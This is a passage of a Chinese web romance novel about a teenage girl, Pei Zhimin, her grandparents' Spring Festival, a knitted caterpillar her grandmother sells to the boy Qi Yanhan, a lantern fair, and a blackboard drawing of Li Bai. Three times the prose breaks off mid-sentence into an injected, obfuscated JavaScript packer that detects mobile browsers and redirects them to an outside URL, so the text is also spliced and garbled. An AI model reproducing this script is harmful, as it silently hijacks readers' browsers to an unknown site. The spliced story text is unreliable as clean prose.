成绩出完,就迎来了寒假,苏英和裴振还在上班,裴知悯一个人在家,捣鼓着画稿的事,暑假投出去的那张没有回信,倒是在外婆家画的稿子先一步传来了消息,江都的一家杂志采用了她的画稿,前些天已经给她寄来了样刊。 背着父母画稿,裴知悯多少有点忐忑,奈何不抓紧时间的话,手感就真的要消失不见了。 那时候外婆隔三差五就会来个电话,问他们什么时候回来,裴知悯每次都会耐心跟她算日子,说再等二十天,十五天,十天…… 春节前几天,他们回了栖梧,小院张灯结彩,门口贴了春联,窗上有窗花,一家五口齐整整地团聚着,裴振和苏英在弄熏鱼,外婆炸着小酥肉,空气里漂浮着食物香气,都是年的味道。 除夕夜,吃完年夜饭,全家人围在桌前聊天看春晚,壁炉里的火燃得正旺,电视里放着小品,一句“这是一个什么样的机会?这是一个让你们家祖上都诈尸的好机会”逗得众人大笑。 那一年的春晚格外精彩,他们看得津津有味,老两口平常睡得很早,那晚破天荒地看到了《难忘今宵》那儿才回房。 熟悉的歌声响在客厅里,裴知悯洗漱完关了电视准备上楼,苏献培却说他的老花镜找不到了,让她来帮忙找找在哪儿。 裴知悯进到外公房间,老花镜眼镜盒就放在他的床头柜上。 “外公,你眼神什么时候这么不好了?”她指了指那方向,“这么明显,你都没看到。” 苏献培笑容蔼然,“那外公这么明显的借口,你不是也没发现吗?” 裴知悯蹙眉:“啊?” 苏献培从兜里摸出了个红包,塞到她怀里,“恭喜我们知悯啊,又长大了一岁,这是今年的压岁钱。” 裴知悯惊喜地瞪大了眼。 “别跟你妈妈说,说了她肯定不让你收,”老人特意叮嘱,“就当外公给你的零花钱,拿去买糖吃,买画本看。” 裴知悯眉眼弯弯:“谢谢外公。” “不用谢,”苏献培慈祥地笑着,朝她挥了挥手,“早点睡,记得把窗户关好,别感冒了。” “好。”裴知悯捂着红包,高兴地出门去了。 二零一四年的春节过的特热闹,鞭炮声响了好几天,院子外有小孩子的嬉笑,童真的吵闹声扰的她睡不成懒觉,早起也没什么不好,正好有外婆做的南瓜小米粥喝。 那几天她过的舒服极了,大年初五的清晨,突如其来了一场雨,让栖梧的气温直降,外边的喧声一下就变少了,雨声连绵不绝,墙外有响彻一整条街的叫卖声:“卖豆花咧,新鲜出炉的豆花——” 壁炉的火光照亮了客厅的每一寸角落,裴知悯和许兰君坐在一起烤火,电视里正在播报“受冷空气影响,预计我市将会有三到五天的持续降雨,望广大市民朋友注暖……” “外婆,你说今年会下雪吗?”裴知悯问。 老太太偏头看了眼外面的天,摇头说:“应该不会,” 裴知悯低下眼:“哦。” “想看雪了?”许兰君笑问。 “嗯,”裴知悯凝视着通红的炉火,“好久都没堆雪人了。” “南城很少下雪,”老太太回忆了下说,“上一次好像还是你读小学六年级。” 裴知悯也记得,那天她玩了一上午,回来时全身脏兮兮地还被苏英说了一顿。 “其实想看雪也很容易,”许兰君为她出谋划策,“你大学考个北方的城市,年年都可以的咯。” 裴知悯坚决地摇头:“不要。” 老太太疑惑:“方才不是还想看雪吗?现在怎么又不要了?” “看雪哪有外婆你重要,”裴知悯靠上老太太肩头蹭了蹭,“我要留在你身边。” 老太太笑着摸摸她的头,缓缓说:“路还长着呢。” 那场雨在初七的深夜停了,初八的早上,久违地出了太阳,头顶天高云淡,阳光灿烂,是个难得的好天气。 苏英和裴振出去访亲了,苏献培在茶馆打牌,家里就裴知悯和老太太,老太太拿着剪刀在修剪花枝,她则跟在后面打杂。 阳光爬上院墙,洒在院子里,立春之后,这些花看起来长势迅猛,充满了生意。 打理完花,许兰君拿出针线篮子,打起了毛衣,那会儿裴知悯身上穿的就是老太太新给织的,雾霾蓝色,针线绵密,穿在身上很暖和。 “外婆,你好厉害啊!” 裴知悯手撑在膝盖上,眨巴着眼睛看她钩线,那些线排在一起,看的人眼花缭乱的,许兰君却理得很清楚,什么时候该换线,什么时候该转弯,进行得有条不紊。 “术业有专攻嘛,”许兰君笑了笑,说,“而且,这个很简单。” “很简单?”裴知悯惊讶道。 “嗯,”老太太看了她一眼,提议说,“要不你来试试?” 裴知悯有点兴趣,“可以吗?” “怎么不可以,”许兰君放了手里的东西,拿起棒针和毛线,一面演示一面告诉她怎么起线,怎么打结,怎么绕线。 裴知悯认真地观摩着,但到了自己手上,那线就怎么也理不清,她缠了半天,弄了个毛毛虫出来,模样丑的要死。 “算了,”裴知悯兴致低落下去,“我没这个天赋。” “不想织了?”老太太瞟来一眼。 “嗯,”裴知悯耷拉眼皮,拨弄了下那条毛毛虫。 “那就不织,”老太太没再让她试了,接着打自己的毛衣,“你这双手,还是只适合画画。” 裴知悯嘿嘿地笑,接着喝茶,那时茶早凉了,她忽略冷掉了的茶水,起身拿了画本下来画画。 祖孙俩各自做着自己的事,没多久,邻居阿婆敲门,给她们送来了自家酿的葡萄酒,许兰君道完谢,就和她聊起了天,裴知悯搬着玻璃罐子,缓慢走向厨房。 放好出来时,邻居阿婆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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印象里上次见他,还是一个月之前,男生穿着黑色冲锋衣,削短的发茬下,是锋利冷淡的眉眼,看向她的时候,那双漆黑眼眸里闪过了一丝意外。 邻居阿婆带着他过来,用方言跟她说:“你告诉一下这个帅哥凤栖北路怎么过去,我说的他听不懂。” 栖梧之前是别省的,后来划给了南城,平常生活遇见的都是认识的邻里,有些老人的语言习惯也就没改。 但裴知悯跟着许兰君这么久,自然听得懂,她点头应道:“好。” 交代完,邻居阿婆笑眯眯地走了,祁砚寒瞧她穿着休闲,还和本地人认识,猜测道:“你家在这里?” “我外婆家,”裴知悯故作波澜不惊,而后问起,“你是来旅游的?” 祁砚寒摇头:“回城时听说这里很热闹,就来逛逛。” 裴知悯了然,眼眸略微下垂,瞥见了他手里拿的针织小玩偶,这个小熊,怎么这么眼熟? 还有,为什么她织的那条毛毛虫在他这儿? 裴知悯微惊:“这个你是从哪儿得的?” “过来时路过个集市,”祁砚寒扭头看了眼那方向,“觉得新鲜就买了。” 事实上是方芷宜喜欢这种小玩意儿,他买回去哄小姑娘用的。 “多少钱啊?”裴知悯轻声问。 “五十一个。” 裴知悯双眼微睁,“五十?!” 就这么两个东西要了他一百块! 祁砚寒轻“嗯”了下,看她这表情,拧眉问:“怎么了?” 裴知悯蹙着眉腹诽,外婆,你就是这么做生意的是吧? 但面对祁砚寒,她还是咬着牙摇了摇头,说没什么。 祁砚寒手机突然响了,他接起贴向耳边,裴知悯悄悄摸向口袋找钱,奈何两个兜一样重,她真想把那个丑玩意儿从他手里买回来,丢人啊。 听了十来秒,男生以一句“我马上过来”结束了这通电话,他看向她,问起“凤栖北路”。 裴知悯指着两三米前的那个巷口,“你穿过那条小巷右转,直行到第二个路口,左转过去就到了。” 祁砚寒客气地朝她道谢,转身往巷口走去,裴知悯盯着他离去的方向,愣了愣神。 苏献培依稀听见了谈话声,现在出来瞧着她一个人,觉得奇怪,“在和谁说话呢?” 裴知悯被苏献培的这声拉回思绪,她回身想去扶外公下台阶。 苏献培摆手道:“还没老到那个地步。” 裴知悯温温地笑了声。 “没谁,”她挽上外公的手,一同往前走,“就是个被无良商家骗了的过路人。” 那会儿祁砚寒刚走进小巷,迈了几步,迎面遇见了个推着小车叫卖的小贩,他侧身站在巷边让路,清楚地听见了身后女孩子说的话。 被骗?过路人? 说的是他么? 13. 第 13 章 [上章增修了内容,从上章看哦~] 回家的路上,苏献培背着手,高兴地和她讲今天茶馆里唱的什么戏,讲的谁和谁的故事,末了说到牌友轰他走的事,还被人笑话了。 “他们就是羡慕我我有孙女。”苏献培倒是一点不介意。 裴知悯轻轻笑了。 “今天赢了多少?”她打听道。 老人笑笑:“不少。” “手气这么好?” 苏献培嗯哼了一声,“那可不?” “难怪你不肯走呢,”裴知悯语气悠哉。 外公爽朗地笑出了声,“赢钱不好吗?可以给你买各种口味的糕团吃。” 裴知悯只赞同前者,“外婆做的糕团比外面卖的好吃多了。” 苏献培也点了点头,说“是”。 “外公,我断了你的财路,”裴知悯偏头眨着眼睛问他,“你不会在心里怪我吧?” 苏献培笑了:“你外公是这样的人吗?” “那可不一定,”她故意这样说。 “嗯,”老人顺着她的接下去,“你外公心胸狭隘,分不清青红皂白,动不动就爱生气,生气了就爱骂人。” 裴知悯听愣了,急忙解释:“我不是那个意思。” 老头偷摸着笑,背着手往前走,裴知悯跺了下脚,追上去和他掰扯。 夕阳西下的街道,祖孙俩一路说笑着回家,那时家里就苏英一个人,正在厨房准备晚饭,裴知悯帮着打了会儿下手,外边客厅有了动静,许兰君提着篮子回来了,她悄摸从厨房溜出去,准备好好和她理论一番。 彼时外婆正在折叠摆摊用的碎花布,瞧见她来了,招手说道:“你帮我拿着那一头。” 裴知悯依言过去,配合她抖起了布料,对折好后,她拿起一个毛线小企鹅,看似随意地问:“外婆,这个你一般卖多少钱啊?” 老太太瞧来一眼说:“五十。” 裴知悯一下就惊了,“你还真卖五十啊?” “你干什么呢?”老太太被吓一跳,走远将碎花布放在柜子里,“你外婆耳朵都要被你喊聋了。” 裴知悯缓了口气,追过去还是不可置信的语气:“就这么个小企鹅,要卖五十?” “是啊,”老太太没觉得有什么不妥。 “外婆,”裴知悯叹口气,直言不讳地问,“你不觉得这个价格卖贵了吗?” 老太太有理有据:“我老婆子花时间花精力的,纯手工织的,毛线还用的上好的,卖五十怎么了?” 裴知悯被噎住了,看着她一句话都说不出来。 许兰君将没卖出去的小玩偶和围巾收好,去了沙发坐下,悠悠开口:“都是这个价,你外婆只是遵守市场规则。” 裴知悯被弄得彻底无言了。 “再说了,”老太太笑呵呵地看着她,“这些钱我存着有用的。” “做什么用?”裴知悯追问。 老太太眼里别有深意,话在嘴边绕了一圈又收回去了,“以后你就知道了。” 不说就算了。 后来裴知悯才知道,那是老太太给她攒的嫁妆钱。 好,这个话题过了,但还有件事。 裴知悯组织了下语言,当不知道似的拱着老太太的手肘问:“我下午织的那个半成品找不见了,你是不是拿去卖了?” 说起这个,许兰君倒有点不好意思了,当时收拾要去摆摊卖的东西,不小心把她那乱织的“毛毛虫”也放进去了,本以为放在那儿不会有人理睬,谁知来了个与众不同的男生。 但你别说,长得还挺俊。 听完许兰君“百分百纯手工制作”的推销后,他买了只编织小熊,而当指着裴知悯做的那个失败品,问“这个怎么卖”时,许兰君都震惊了,想起外孙女那嫌弃的表情,她就想着卖了就卖了,正好腾地方。 没成想知悯还记挂着这事呢。 “你那个是意外,”许兰君眼神躲闪,“我装错了,有游客要买,我总不能揣进兜里不卖吧?” 裴知悯眯着眼睛问她:“你卖成多少钱?” 老太太眼光落向别地,手朝她比了个“五”出来。 那时她本来是想说打个七折八折的给他,奈何那男生说她辛苦织了这些,他要的话应该付劳动报酬,于是就照市场价买了下来。 “我那个你送给我我都不要,你还卖50。”裴知悯简直被气成了河豚,“你都不怕别人说你是黑心商家啊?” 老太太不敢直视她的眼睛,“除了你谁还会这么说。” 裴知悯一口气堵在嗓子眼里出不来。 “知悯——”苏英在厨房里喊她。 裴知悯扬声应:“在呢。” “去后院扯个萝卜来,”苏英吩咐她,“炖汤用。” “好,我等会就去。”裴知悯应过后,气鼓鼓地望着许兰君没动。 老太太气定神闲,催她:“快去快去,等会儿你多喝两碗萝卜汤,你看你这手冻的,看样子出门肯定没带手套,还有你这袜子,应该没穿加绒的……” 老太太说着说着就要撩起她的裤管看,裴知悯往后缩了缩脚,赶忙起身去后院了。 园子里种着时令蔬菜,裴知悯拔了两株白萝卜,洗干净给了苏英,再回到客厅时,老太太正在煮苹果甘蔗水,裴知悯自顾自地倒了杯来喝。 许兰君倏然问道:“你画的那些人物都是你自己瞎琢磨出来的?” “一些乱画的是这样,”裴知悯想了两秒说,“多数情况都是确立了骨骼结构好好构思出的,不是瞎琢磨。” 许兰君讷讷地“哦”了声,想起件怪事。 上午和邻居阿婆聊完,不知从哪儿扑来了一阵风,裴知悯的画本被吹到了地上,本子背面朝上,老太太捡起来时,不经意间看到了最后那张人物速写图。 她那时也以为那张极富少年气的人物是虚构的,谁知两小时前,许兰君看到画里的人出现在了眼前,瞬间怔住了。 只是知悯现在这样说,但难不成还真是她头昏眼花了吗? 真是奇了怪了,画中人能等比例走出来。 厨房那头,苏英做好菜,喊全家人吃饭了,裴知悯过去帮忙盛饭,不算大的屋子里,有相坐一起谈笑的人,有热气腾腾的饭菜,空气中还隐隐浮动着一层腊梅花香。 那天的栖梧天气大好,两百公里外的南城却下起了大雨,主干行车道出了事故,众多车辆被堵在路上,车流行驶缓慢,他们的车被其他车加塞了好几次,气得祁宏连按了好几声喇叭,闻瑾在一旁安抚:“没事,安全第一。” 下着大雨,大家都着急走,鸣笛声此起彼伏,后座睡得正香的方芷宜被吵醒,小朋友迷蒙着眼问:“哥哥,到家了吗?” 祁砚寒看向窗外:“还要一会儿。” “哦,”方芷宜揉了揉眼,手摸到一点塑料,“这是什么啊?” 祁砚寒把袋子给她:“刚刚逛了个集市,给你买的。” 小姑娘欣喜地打开来看,里面躺着一个小熊玩偶和一个别的。 “这个好可爱啊,”方芷宜拿出那个小熊玩偶,眼里冒着光,“到时候我挂在书包上。” 祁砚寒由着她:“好。” 方芷宜越看越喜欢,注意到袋子里还有,她拿出来一看,大失所望。 “这个也是你买的?” 祁砚寒睨去一眼:“嗯。” 小姑娘的眉头渐渐拢在一起,“你什么眼光,买这个。” 祁砚寒注视着车窗玻璃流下来水珠,闻言微愣了下,事实上他也不知道为什么要买,或许是这条毛毛虫与其他的物品格格不入,看它孤零零的,他初来乍到闲的没事动了恻隐之心吧。 “不要算了。”看她不太满意,祁砚寒作势要把那个东西拿回去。 “要,”方芷宜按着他的手,讨好地笑,“要,我要。” 祁砚寒将凌空的手收了回去。 方芷宜扯着那条毛毛虫的头和尾,放远了看又凑近了看,在那儿自说自话:“你是谁织的啊?长得这么丑。” 祁砚寒闭上了眼,轻答:“一个老奶奶。” 那时他还不知道这个毛毛虫真正的钩织人是谁,也不知道卖他东西的人是裴知悯外婆,只是当祁砚寒说起“老奶奶”时,脑海里会浮现一道清脆女声谈起的“无良商家”,他颇觉好笑。 车堵了半小时终于正常了,祁宏一路踩着油门回家,那时已临近十点,小姑娘困得很眼睛都睁不开,闻瑾把她抱上二楼的房间睡觉。 客厅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14793083|158213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里,父子俩的电话先后响起,祁宏看了眼来电,走到阳台去听了,祁砚寒的这通则是小姨闻霏打来的,她等会儿要飞往国外参加个学术交流会,趁还没登机,来问问方芷宜的情况。 祁砚寒:“她睡了,妈在照顾。” 闻霏:“那就好。” 两人说了几句,闻霏那边就响起了登机提示,她不敢耽误,匆匆掐断电话,祁宏这时候也从阳台进来了,男人说他那边临时来了个商业上的酒局,捞起沙发上的大衣就出去了。 把小姑娘安顿好后,闻瑾下楼找了一圈都没看见祁宏,她问祁砚寒:“你爸人呢?” “临时来了个酒局,出去了。” 闻瑾看了眼墙上的钟,又望向外面黑漆漆的夜,眉头拧起,自言自语道“这么晚了还有应酬啊”。 “你给他打个电话问问,”她跟祁砚寒说,“什么时候回来,要不要备点醒酒茶。” 祁砚寒摸出手机找到祁宏的号码拨过去,按了免提,电话铃声响了三秒,就传来机械的女声:“对不起,您拨打的电话正在通话中,请稍后再拨……” 闻瑾抿了抿唇:“估计在开车吧,外面雨大,他没法分心。” 祁砚寒没说话,径自按了挂断。 那天晚上,祁宏没有回来,后面几天,他都混迹在各大饭局上,闻瑾在弄着她事务所那边的事,家里时常没他们的影子。 那个年过的真没什么意思,唯一感觉不一样的就是他们一家去拜访闻瑾恩师那天,回城时祁宏遇见个朋友,男人热情地邀请他们进家里坐坐,祁砚寒不想去,听路人推荐说附近有个小镇风光还挺不错的,他想着反正没事,就过去转了转,没曾想还真碰见了些有趣的。 正月里,南城总爱下雨,潮湿的空气将年味一点点冲淡,倒是正月十五那天,街上人又多了起来,傍晚时分,祁砚寒从网吧出来时,意外碰见了秦京宁,这人拎着两本辅导资料,还知道挽救一下成绩,那就不至于没救。 两人正要一同回去,远处人群的喧闹吸引了秦京宁的注意,那边人头攒动,看上去十分热闹。 “前面是灯市诶,”她眼睛亮了亮,邀请说,“来都来了,逛逛呗?” “行,”祁砚寒说,“走吧。” 灯会里的年轻男女很多,熙熙攘攘的,鱼灯花灯龙灯做的精美,两人走在里面走走停停,恰逢一家猜灯谜的铺子,秦京宁来了兴趣快步过了去,祁砚寒抬脚慢吞吞地跟着。 老板是个中年女人,随和地让她选择灯谜猜,猜中了可以带走一样奖品。 秦京宁来了兴致,抽出了张谜题。 [早不说晚不说,打一字] 秦京宁思考了半天,猜不出来,老板很好说话,乐呵地让她换一个。 [八九不离十,打一字] 还是不会,秦京宁又抽了个。 [一颗石榴发疯了,会变成什么水果?] 秦京宁一脸迷茫,正要将字谜放回去,歉然说他们不猜了,一扭头见身边的这人一脸的事不关已,她眼珠一转,怎么忘了还有他。 “你告诉我谜底,猜对了就可以拿一个风筝,”秦京宁放出诱饵,“芷宜不是挺喜欢这种的吗?” 祁砚寒默了两秒,低头告诉她答案。 老板很讲信用,说出答案,就真给了他们风筝,越往前面走,猜灯谜的铺子越多,逛完了后两人赢了一个风筝,两盏花灯,秦京宁手里还拿着资料书,都快要抱不动了。 反观这人,两手插兜,一身轻松。 秦京宁想都没想地就把那两盏花灯丢给了他。 “大小姐,”祁砚寒接住后,声调冷淡,“你四肢健全的,别来奴役我行么。” 她手里又拎又拿的,还奴役他?秦京宁没接他的话,只是说:“刚才谜底还挺符合你的。” 祁砚寒挑眉看她。 秦京宁一个字一个字地往外蹦:“风流成性(疯榴成杏)。” 祁砚寒这时候笑得浪荡不羁了,垂眼反问道:“你就这么败坏我名声?” 秦京宁看了他一眼,说他只有风流性,没人性。 灯会行人众多,裴知悯站在人群里,注视着他们玩笑打闹的样子,慢慢别开了眼,灯光逐渐变得模糊不清,她看不清他们远去的身影。 14. 第14章 那天裴知悯是去拿样刊的,回家途中接到喻书的电话,喊她去逛灯会,那时她正好在附近,心血来潮地答应说去逛逛,遇见他纯属意外之喜。 十六七岁的年纪,喜欢一个人,光是远远看见都会心神荡漾,只是,他的眸光都在另一个女生身上。 喻书见她站着不动,碰了下她的胳膊:“你看什么呢?” 裴知悯欲盖弥彰:“没什么。” 喻书目光放远,扫到路边出租车前的一双人影,那时祁砚寒正扶着车门,让秦京宁先进去,女生侧对着她们,莞尔张口和他说话。 “那是……祁砚寒?” 裴知悯含糊道:“好像是。” “真没想到,他还有兴致来逛灯会,”喻书有点吃惊,和她八卦着,“肯定是他陪那女生来的。” 裴知悯惊讶她语气为何如此笃定。 “今天元宵诶,你看看周围,哪个不是亲友相伴?” 象征团圆的日子,灯会里的确鲜少有男生一个人来逛,裴知悯抿唇,不知道说些什么。 “诶,就他那身高那脸,再加上那七百分的成绩,”喻书啧啧感叹,“有女朋友都不是稀奇的事。” 裴知悯沉默了几秒。 “只要不顶着好看的皮囊,当游戏人间的浪子就行,”喻书挽上她的手说,“专骗小女生,把人家的心伤透了就抽身而退那种。” 祁砚寒自己好像也说过类似的话,那时他亲口承认,但裴知悯始终相信,他不是这种人,印象里男生总是随性坦然的模样,偶尔有三分的恣意不羁,但要说是浪子,有失偏颇。 在大雨里愿意等待大半天好让陌生人回来取走失物的少年,他的底色,是刻在骨子里的纯粹端正。 裴知悯视线不着痕迹地瞟过路边,那辆出租车早就走了,那里来了另外的人,在上演另外的故事。 瞧裴知悯在走神,喻书给她敲警钟:“你少不信,小心被骗,到时候心碎成一片一片的,拼都拼不好。” 裴知悯挽紧她的手:“好,我知道了。” 那晚的气温只有零上几度,她们聊天胡出口都带着白雾,看逛得差不多了,两人就此道别。 在灯会那里耽误了些时间,裴知悯到达家楼下时,天色昏暗一片,估摸着这个点苏英和裴振都在家,杂志要是被他们看见了,怕是会引起不必要的争执。 正思考要如何逃过这场灾难间,耳边传来熟悉的一声“知悯”,裴知悯循声看去,裴振丢了垃圾,从侧边走出来。 “爸,”裴知悯下意识地把杂志往身后藏。 裴振随口一问:“怎么现在才回来?” 裴知悯把怀里抱着的老板放了半个太平洋的水才得到的花灯给他看:“去逛了逛灯会。” “挺好的,”裴振理解,“你现在学习压力大,应该出去走走,劳逸结合是对的。” 裴知悯应得很紧绷,她尽量走在路灯照不见的阴影里,竭力隐藏好杂志,但着实困难。 “还在画画?”裴振注意到了她想藏住却又露出半角的杂志。 裴知悯垂着眼皮,轻轻“嗯”了下。 父女俩一道往前走着,不知从哪儿掀起一阵仓促的风,吹来了片刻的寂静。 裴振欲言难止:“你妈妈……不想你现在再把精力花在画画上,这点你知道吧?” 她嗓音很轻:“知道。” 裴振看着懂事文静的女儿,静默了许久。 寒凉的风吹个不停,走过长长的一段路,裴知悯脸颊都是冰冷的,惴惴不安的一颗心却像风中的叶片一样,悬在空中,裴振沉思良久,上楼前,他重重地叹息了声,妥协道:“画吧,但要分清主次,前途不能在爱好之后。” 裴知悯郑重地点头应下。 裴振和蔼一笑,拍拍她的背:“走吧,等会儿我帮你挡着你妈。” 推开家门,苏英正背着身厨房忙活,听见他们父女的说话声,转身喊了句:“知悯,过来帮我下。” 裴振给裴知悯递了个眼色,随即接话道:“我来我来。” 说完他就过去了,裴知悯把样刊藏在背后,轻手轻脚鬼鬼祟祟往房间里走。 “帮我挽一下袖子,”苏英在和馅料,挽起的衣袖落了半截下来,裴振帮她卷上两圈,而后又帮着她一起包汤圆。 三碗热气腾腾的汤圆很快被摆上了桌,一家人各自落座。 “你刚刚手上拿的什么书啊?”苏英递来勺子时问。 裴知悯身体不自觉地一僵,眼神看向裴振求救。 裴振早就想好了对策,在一旁出声:“化学辅导资料,我刚刚看见了。” 苏英仔细回想了下,感觉有点奇怪:“化学资料?颜色不太像啊?” 裴振面色自然:“这些辅导资料颜色一天一个样,各种色都有。” 好像是这样,苏英疑虑消减下去。 有裴振的掩护,那晚裴知悯幸运地逃过了一劫。 元宵过后,她正式迈入高二下学期,那学期的节奏明显快了起来,题目的难度也上来了,算个圆锥曲线可以花掉两张稿纸,裴知悯解得怀疑人生,喻书那段时间同样头疼得不行,两人经常抱团哭诉。 乍暖还寒的三月就在她们的哀嚎声中悄无声息地过去了,四月的南城气温渐渐回暖,他们桌上新一轮的试卷也越堆越高,紧张的学习生活里,喻臣来找她帮忙,给他们班的板报画个人物。 那次板报正好轮到了他们,奈何一组里除了祁砚寒能写一手好看的粉笔字,剩下的人都没啥用武之地,五米长的黑板,全是字的话也太单一无趣了,可要想画点什么,只能求助外援。 “我没试过用粉笔画画,”裴知悯有点担心,“万一搞砸了怎么办?” 喻臣爽朗地笑了:“画好了就是你的功劳,搞砸了就说是我画的,我去丢人,放心。” 裴知悯咬唇,稍显犹豫不决。 “到时候你画完了,祁砚寒再写点字,”喻臣说出计划,“就大功告成。” 是他写字? 少女隐秘的心思在此刻慢慢冒出了头来,将她勇敢地往前推了一把。 她想试试。 “画谁有要求吗?”裴知悯问。 喻臣让她随意,“只要帅,镇得住场面就行。” 裴知悯想了半分钟左右,选择了“绣口一吐便是半个盛唐”的青莲居士。 喻臣觉得简直不要太好。 “这可是应是天仙狂醉,乱把白云揉碎的谪仙啊。”他感慨道。 裴知悯笑了下,问起时间,喻臣很坦诚地希望尽快,早点弄完就少一桩烦心事。 “那就择日不如撞日?” 喻臣求之不得。 于是那天放学,裴知悯就去了七班画板报,喻臣在旁边帮着打下手,画至一半,喻臣手机震动了,那时裴知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14809897|158213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悯画得正专心,他没出声打扰,默默出去接听了。 祁砚寒打完球,回来拿书包,那时七班只有裴知悯一个人,女生踩着张课桌凳子,在教室后面的黑板用粉笔画人物的身形细节。 祁砚寒想起喻臣中午信誓旦旦地和他说想句李白的诗,剩下的就不用他操心了。 “我自有办法,”喻臣神秘兮兮道,“保证高质量完成任务。” 祁砚寒当时不解,现在看来—— 她就是那办法。 祁砚寒走回座位,准备拿上书包走人,过去一看,椅子竟然不翼而飞了,祁砚寒找寻了一圈,目光最终定在裴知悯站的那张上面。 原来是充了公。 那时他的座位在最后一排,喻臣顺手就把他的椅子拖给知悯用了。 须臾,祁砚寒收回目光,默不作声地收拾书包,窸窸窣窣的声响让裴知悯误以为喻臣还在,有一笔画得偏了,她言简意赅:“帮我拿一下黑板擦。” 女生平静的话语忽地响在安静的空间,让祁砚寒都顿了一秒,他环视一圈,找到黑板擦给她。 裴知悯看都没看那双手的主人,接过来把没画好的线条擦了,又递回去。 祁砚寒眉梢微挑,还是伸出了手接过,放回原处后,他正欲迈步离开,女声又响起。 “要一只黑色粉笔。” 祁砚寒停住步子,给她拿粉笔。 她到底是来他们忙的,怕她还有需求,祁砚寒索性不走了,顺势靠在桌边,等着给她递东西。 楼上有吵闹声,他们这里却安静得不行,祁砚寒静静地看着她画,女生穿着校服,扎着高马尾,背影柔和,挥笔的时候,动作却干脆有力,流畅的线条衔接得十分平滑,画中人渐渐立体起来。 意气风发的李白一手拿着酒壶,一手执笔题字,一张张纸页从手中飞出,狂乱又豪迈。 温和的春风拂进教室,风散之后,又只有粉笔接触黑板的声音了,画完最后一笔,裴知悯满足地呼了口气。 喻臣这时正好收了手机从后门进来,见她表情不似开始那么严肃,问道:“画完了吗?” 裴知悯拍掉手上的粉笔灰,松一口气:“好了。” 说完后,她瞬间感觉不对,喻臣在这儿,那刚刚给她递东西的人是谁? 裴知悯猛地转过头,看见了那张熟悉的脸,他们一个靠下,一个偏上,目光凌空撞上,她狠狠怔住了。 男生瞧见她的表情,嘴角挂着淡淡的笑问:“我刚刚的配合还满意吗?” 裴知悯无措地解释:“不好意思,我不知道是你在帮我拿东西。” “别不好意思,”喻臣安抚道,“该他做。” 裴知悯抿着唇,从椅子上下来。 “这李白一来,让我们教室都蓬荜生辉啊,”喻臣欣赏着她画的人物,不禁感慨。 “为什么画诗仙不画诗圣?”祁砚寒看着黑板上的人物问。 裴知悯椅子从下来,“因为他足够洒脱,一生都是理想主义者。” 那时她还年少,对于理想,始终怀着热忱的憧憬和希望。 喻臣很是赞同,问祁砚寒:“你想好诗了吗?” 祁砚寒取出一只白色粉笔,他身高够,抬手就可以落下“长风破浪会有时,直挂云帆济沧海”。 橘黄的阳光穿过教室窗子,洒落在黑板上,大气磅礴的字和画在光里熠熠生辉。 15-20 第15章 第15章吻过你背影的眼睛 画完了后,裴知悯要去洗手上的粉末,祁砚寒因为帮她递粉笔,手上也沾了些,两人便一同去楼下公共的洗手台。 画了快一个小时,裴知悯手腕有点酸胀,她轻轻揉着,想起自己那一板一眼的命令,不禁咬牙懊悔。 你也真是的,都不看清对象,就平白使唤别人。 祁砚寒身高腿长,走的比她快两步,男生身姿笔直,只是姿势有点奇怪,裴知悯看见,忍不住询问:“你不舒服吗?” “腿站麻了,”祁砚寒声音低沉。 裴知悯眉头微蹙,目光移向他的脚踝,他是一直靠在桌边吗?为了方便递东西? “你怎么不坐着?” 祁砚寒顿了下,侧目看了她几秒,女生皮肤莹白,或许是被阳光晒过,她面颊带着些粉,耳边的一缕发丝垂落在衣领之上,那里有一点白色痕迹,是黑板上掉落的粉笔灰。 他顿了下,还是没说椅子的事。 可聪慧的人儿,早已从他欲言又止的神态中明了了原因。 她本来以为喻臣拿的是他自己的椅子,没成想,会是这样的阴差阳错。 祁砚寒转过话题,提醒道:“你衣领上沾了粉笔灰,等下可以理一理。” 裴知悯双手都脏了,此刻不好整理,顺从地应了声“好”。 洗手台前,祁砚寒和她并身站着,水流声淅沥,冲刷过两双手的粉笔灰尘。 那天暮云杳霭,鸟鸣啾啾,晚风很轻很柔,拂过刚抽出新芽的枝桠,撩起少男少女的衣摆,碰在一起的校服,让裴知悯不知不觉中就眷恋了多年。 洗完手往回走,裴知悯抖了抖衣领,细碎的粉屑掉落,那会儿她心思都在衣服上,没留意路况,上楼前有一小节台阶,她正要迈,手臂突然被扯了下,裴知悯不受控制地往后退了些,后背不期然地贴近了个温热的胸膛。 万物复苏的时节,空气中都是草木和百花的香气,他身上干净清冷的气味混杂在其中,从四面八方笼罩过来,像是拥她入了怀。 裴知悯瞬间脸红心跳。 “小心脚下。”男生的呼吸喷洒在头顶。 靠在他的胸。前,裴知悯都能听到自己怦怦的心跳声,她呆愣地看向脚下的台阶,低低地说了声谢。 祁砚寒松开手,走向她的旁侧,和她一同上楼。 